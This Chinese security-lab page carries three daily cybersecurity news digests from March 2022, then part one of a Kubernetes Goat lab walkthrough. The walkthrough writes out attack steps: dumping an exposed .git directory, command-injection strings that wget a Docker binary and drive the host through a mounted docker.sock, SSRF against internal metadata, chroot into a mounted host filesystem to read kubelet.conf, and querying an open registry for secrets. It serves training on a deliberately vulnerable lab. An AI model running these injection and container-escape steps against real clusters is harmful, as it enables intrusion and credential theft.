免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、IT 巨头 Globant 确认源代码存储库泄露 https://www.securityweek.com/it-giant-globant-confirms-source-code-repository-breach 2、网络安全供应商评估近期 OpenSSL 漏洞的影响 https://www.securityweek.com/cybersecurity-vendors-assessing-impact-recent-openssl-vulnerability 3、Apple 发布macOS、iOS 紧急安全补丁修复被积极利用的漏洞 https://www.securityweek.com/apple-ships-emergency-patches-actively-exploited-macos-ios-flaws 4、Spring Framework 发布补丁修补CVE-2022-22965漏洞 https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement 5、ImpersCMS中的SQL注入保护可被绕过来实现RCE https://portswigger.net/daily-swig/sql-injection-protections-in-impresscms-could-be-bypassed-to-achieve-rce 6、存在17 年之久可导致应用程序崩溃的Zlib漏洞被修复 https://www.theregister.com/2022/03/30/zlib_data_bug/ 7、三分之一的英国企业每周至少遭受一次网络攻击 https://www.infosecurity-magazine.com/news/third-businesses-cyber-attacks-week 8、美国医疗保健数据泄露影响 85,000 名执法人员 https://portswigger.net/daily-swig/us-healthcare-data-breach-impacts-85-000-law-enforcement-officers 9、Hive 勒索软件使用新的"IPfuscation"技巧隐藏攻击载荷 https://www.bleepingcomputer.com/news/security/hive-ransomware-uses-new-ipfuscation-trick-to-hide-payload/ 10、Palo Alto Networks支持系统错误配置导致泄露客户案例、附件 https://www.bleepingcomputer.com/news/security/palo-alto-networks-error-exposed-customer-support-cases-attachments
网络安全日报 2022年03月31日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Chrome 浏览器发布重大安全更新解决了28个漏洞 https://www.securityweek.com/chrome-browser-gets-major-security-update 2、研究人员发现了一种远程中断电动汽车充电的攻击方法:Brokenwire https://www.securityweek.com/remote-brokenwire-hack-prevents-charging-electric-vehicles 3、Lapsus$ 称攻击并泄露了 IT 巨头 Globant 70GB数据 https://www.securityweek.com/lapsus-claims-hack-it-giant-globant-after-arrests-alleged-members 4、一个严重的 RCE 漏洞影响 SonicWall 防火墙设备 https://securityaffairs.co/wordpress/129627/hacking/sonicwall-firewall-rce-vulnerability.html 5、CISA 和 DoE 就针对 UPS 设备的攻击发出警告 https://securityaffairs.co/wordpress/129620/security/cisa-doe-warn-attacks-ups.html 6、Transparent Tribe APT针对印度官员进行攻击 https://thehackernews.com/2022/03/new-hacking-campaign-by-transparent.html 7、Viasat 发布 KA-SAT 卫星服务网络攻击事件报告 https://www.bleepingcomputer.com/news/security/viasat-shares-details-on-ka-sat-satellite-service-cyberattack/ 8、日本糖果制造商森永的在线商店遭到数据泄露 https://portswigger.net/daily-swig/network-cavity-blamed-for-data-breach-at-japanese-candy-maker-morinaga 9、研究人员发现针对Jupyter Notebook的勒索软件攻击 https://blog.aquasec.com/python-ransomware-jupyter-notebook 10、央视曝光部分浏览器 App 后台读取剪贴板,包括银行卡账号密码明文 https://www.ithome.com/0/610/269.htm
网络安全日报 2022年03月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Ronin Network 被盗价值6亿美金加密货币 https://www.securityweek.com/hackers-steal-over-600m-major-crypto-heist 2、Microsoft Defender for IoT 中发现严重漏洞 https://www.securityweek.com/critical-vulnerabilities-found-microsoft-defender-iot 3、白宫提出 109 亿美元的网络安全预算 https://www.securityweek.com/white-house-proposes-109-billion-budget-cybersecurity 4、CISA 将 Chrome、Redis 漏洞添加到已知利用漏洞目录 https://securityaffairs.co/wordpress/129593/security/chrome-redis-known-exploited-vulnerabilities-catalog.html 5、Spring Frame Core存在远程命令执行漏洞 https://github.com/spring-projects/spring-framework/commit/7f7fb58dd0dae86d22268a4b59ac7c72a6c22529 6、英国国内勒索软件攻击在2021年内激增100% https://www.infosecurity-magazine.com/news/ransomware-attacks-soar-100-2021/ 7、Serpent后门攻击瞄准法国建筑公司和政府部门 https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain 8、Wyze Cam 网络摄像头存在漏洞可被未授权远程访问 https://www.bleepingcomputer.com/news/security/wyze-cam-flaw-lets-hackers-remotely-access-your-saved-videos/ 9、研究人员设计了一种保护隐私的监控视频分析系统-Privid https://thehackernews.com/2022/03/privid-privacy-preserving-surveillance.html 10、匿名者组织泄露2家俄工业公司约112GB数据 https://www.hackread.com/anonymous-hack-russian-industrial-firms-data-leak/
网络安全日报 2022年03月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、钓鱼活动通过劫持未打补丁的 Exchange 邮件回复链来传播恶意软件 https://thehackernews.com/2022/03/hackers-hijack-email-reply-chains-on.html 2、"Purple Fox"组织在最近的恶意软件攻击中使用新变种FatalRAT https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html 3、Muhstik 僵尸网络利用 Redis 最新漏洞CVE-2022-0543 进行攻击 https://thehackernews.com/2022/03/muhstik-botnet-targeting-redis-servers.html 4、Hive 勒索软件将其加密器移植到 Rust 编程语言 https://securityaffairs.co/wordpress/129566/cyber-crime/hive-ransomware-ports-encryptor-to-rust.html 5、Western Digital 修复了影响 My Cloud OS 5 设备的严重漏洞 https://securityaffairs.co/wordpress/129507/security/western-digital-my-cloud-os-5-flaw.html 6、思科Talos发现Sound Exchange libsox库存在缓冲区溢出漏洞 https://blog.talosintelligence.com/2022/03/vuln-spotligh-libsox0.html 7、美国指控4名俄政府员工入侵全球关键基础设施 https://thehackernews.com/2022/03/us-charges-4-russian-govt-employees.html 8、Illuminate Education在线评分考勤系统泄露约82万纽约学生的数据 https://www.nydailynews.com/new-york/education/ny-hack-illuminate-online-gradebook-compromised-personal-data-20220325-ahy3b3b3t5cjzajau63muqcniq-story.html 9、美国FCC将卡巴斯基、中国电信和中国移动加入国家安全威胁名单 https://www.freebuf.com/news/326451.html 10、以色列阻止乌克兰购买NSO集团的"Pegasus"间谍软件 https://www.cnbeta.com/articles/science/1251117.htm
通过Kuberneters Goat学习K8S安全(上)
实验环境:https://katacoda.com/madhuakula/scenarios/kubernetes-goat  0x1、敏感信息泄露利用  第一关是代码泄露利用,打开网站后显示:  告诉我们这是一个代码构建服务。  我们可以测试是否存在git泄露  可以访问到git的配置文件,然后可以尝试从网站转储 git存储库  这里使用的工具是git-dumper:https://github.com/arthaud/git-dumper  用法如下: git-dumper http://website.com/.git ~/website  它会自动遍历路径和获取代码。  等待获取完成,然后查看获取的仓库内容:  使用git log可以查看代码提交的日志记录:  然后可以使用git checkout检出特定的提交,比如有一个包含环境变量的提交,检出来看看,说不定有敏感的信息:  查看.env文件:  还可以用另外一个工具trufflehog 对.git目录进行分析:  产生漏洞的原因:开发人员提交代码的时候,将敏感信息也提交进去了。  0x2、Docker in Docker 利用  第二关是DIND (docker-in-docker) exploitation  描述:大多数使用Docker并在管道构建容器的CI/CD和管道系统都使用称为DIND(docker-in-docker)的东西。简单来说就是在Docker容器中调用和执行宿主机的Docker。在此场景中,我们尝试利用并获得对宿主机系统的访问权限。  访问后的页面内容:  看起来像是存在命令注入漏洞,我们测试一下:  果不其然。  如果要利用docker in docker进行逃逸,前提是在docker容器运行的时候把docker.sock套接字文件一并挂载到了容器中。当我们拿到容器权限又存在挂载的docker.sock套接字文件,我们就可以通过 Docker Socket与宿主机的Docker服务进行通信,我们可以通过它创建新的容器,并把宿主机的目录挂载到新创建的容器中,这样我们就能访问宿主机的资源了。  查看是否存在docker.sock挂载  然后我们下载一个docker可执行程序,注入如下命令: ;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz  解压缩: ;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/  然后就可以利用docker.sock来访问宿主机系统并在宿主机上执行docker命令 ;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps ;/tmp/docker/docker -H unix:///custom/docker/docker.sock images  0x3 SSRF漏洞  第三关是SSRF in K8S world  场景描述:SSRF(服务器端请求伪造)漏洞是云原生环境的首选攻击方式。在此场景中,我们将学习如何利用应用程序中存在的SSRF漏洞的来访问云实例元数据以及内部服务元数据信息。  访问应用页面:  这应该是一个内部API代理服务  我们尝试一下访问内部的服务,比如容器服务  可以看到内部有一个http://metadata-db服务,访问看看  可以看到有一个latest的路径,我们继续访问http://metadata-db/latest/  可以发现好几个路径,通过枚举尝试,最终在http://metadata-db/latest/secrets/kubernetes-goat中发现了关键信息:  看起来像Base64编码的字符串,解密看看:  0x4 容器逃逸到宿主系统(敏感目录挂载)  访问这一关的页面  是一个Linux shell环境  场景描述  大多数监控、跟踪和调试软件需要以额外的权限和功能运行。在这个场景中,我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod,它允许我们访问宿主机系统并提供节点级配置,这样会带来可以获取整个集群控制权限的危害。 查看当前环境的基本信息  可以发现当前用户权限是root,系统是运行在docker 容器中。  查看挂载信息:  可以看到一个host-system的挂载,像是直接挂载的宿主机分区。查看里面的内容:  看起来像是把宿主机完整的系统都挂载进来了。  那么我们可以用chroot切换到宿主机的目录,获取对宿主机系统的权限访问 chroot /host-system bash  我们使用docker ps查看宿主机运行的容器  我们的目的是控制整个Kubernetes集群,查看Kubernets节点级配置文件: cat /etc/kubernetes/kubelet.conf  然后我们可以利用配置文件获取集群内的所有资源 kubectl --kubeconfig /etc/kubernetes/kubelet.conf  get all -n kube-system  0x5 Docker CIS 安全基线分析  场景描述  该场景主要是在 Kubernetes 节点之上进行 Docker CIS 基准分析,以识别可能存在的安全漏洞。  首先需要部署docker bench security将它启动为DaemonSet kubectl apply -f scenarios/docker-bench-security/deployment.yaml  访问docker-bench-security-xxxxx pod 并执行Docker CIS基线测试脚本。 controlplane $ kubectl exec -it docker-bench-security-5cq2h -- sh ~ # cd docker-bench-security/ ~/docker-bench-security # ./docker-bench-security.sh  如果有多个节点,就依次进入并执行。  然后,可以根据 Docker CIS 安全基线测试中看到的漏洞进行进一步的利用或修复。  0x6 Kubernetes CIS 安全基线分析  场景描述  本场景主要是在Kubernetes节点之上进行Kubernetes CIS基线分析,识别可能存在的安全漏洞。  首先,我们在节点上部署kube-bench security为Kubernetes job controlplane $ kubectl apply -f scenarios/kube-bench-security/node-job.yaml job.batch/kube-bench-node created controlplane $ kubectl apply -f scenarios/kube-bench-security/master-job.yaml job.batch/kube-bench-master created controlplane $  然后获取pod信息和查看jobs列表  查看kube-bench-node-xxxxx pod 的日志  然后,可以根据 Kubernetes CIS 安全基线测试中看到的漏洞进行进一步的利用。  0x7 攻击私有仓库  场景描述  容器仓库是存储所有容器镜像的地方。大多数情况下,每个组织都有自己的私有仓库。有时候会因为配置错误,导致仓库处于公共/开放状态。另一方面来说,开发人员因为使用内部私有仓库,可能会在在容器镜像中存储一些敏感信息。  因为这里已经设置好了私有仓库的端口,我们直接访问即可,如果是实际的安全测试中,需要进行扫描或者信息收集来确定私有仓库的地址和端口。 https://2886795289-1235-simba09b.environments.katacoda.com/v2/  我们可以用一些API来测试访问仓库的信息 API文档参考:https://docs.docker.com/registry/spec/api/ https://2886795289-1235-simba09b.environments.katacoda.com/v2/_catalog //列出存储库  查看具体的仓库信息: https://2886795289-1235-simba09b.environments.katacoda.com/v2/madhuakula/k8s-goat-users-repo/manifests/latest  经过审计,可以看到 docker 镜像信息中有API 密钥信息和 ENV 变量等敏感信息泄露。  然后可以更进一步通过docker pull将镜像下载到本地并进行分析。另外在某些情况下,甚至可以根据权限和特权将恶意的镜像推送到仓库。  0x8 NodePort 暴露风险  场景描述  NodePort是Kubernetes的三种外部访问方式之一。NodePort 服务是接通外部网络到你的服务的最原始方式。是指在所有节点上开放一个特定端口,任何发送到该端口的流量都被转发到对应服务。  如果用户使用 NodePort 暴露了 Kubernetes 集群内的任何服务,这意味着如果运行 Kubernetes 集群的节点没有启用任何防火墙/网络安全策略。一些未经身份验证和未经授权的服务会被暴露和利用。  获取Kubernetes节点外部IP地址列表,因为这里是实验测试环境的原因,所以 EXTERNAL-IP显示为<none> kubectl get nodes -o wide  默认情况下,NodePort的端口范围是30000-32767。可以使用Nmap等扫描工具进行扫描和服务识别。  访问对应的端口查看暴露的服务信息  此漏洞/攻击取决于 Kubernetes 集群的配置方式。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页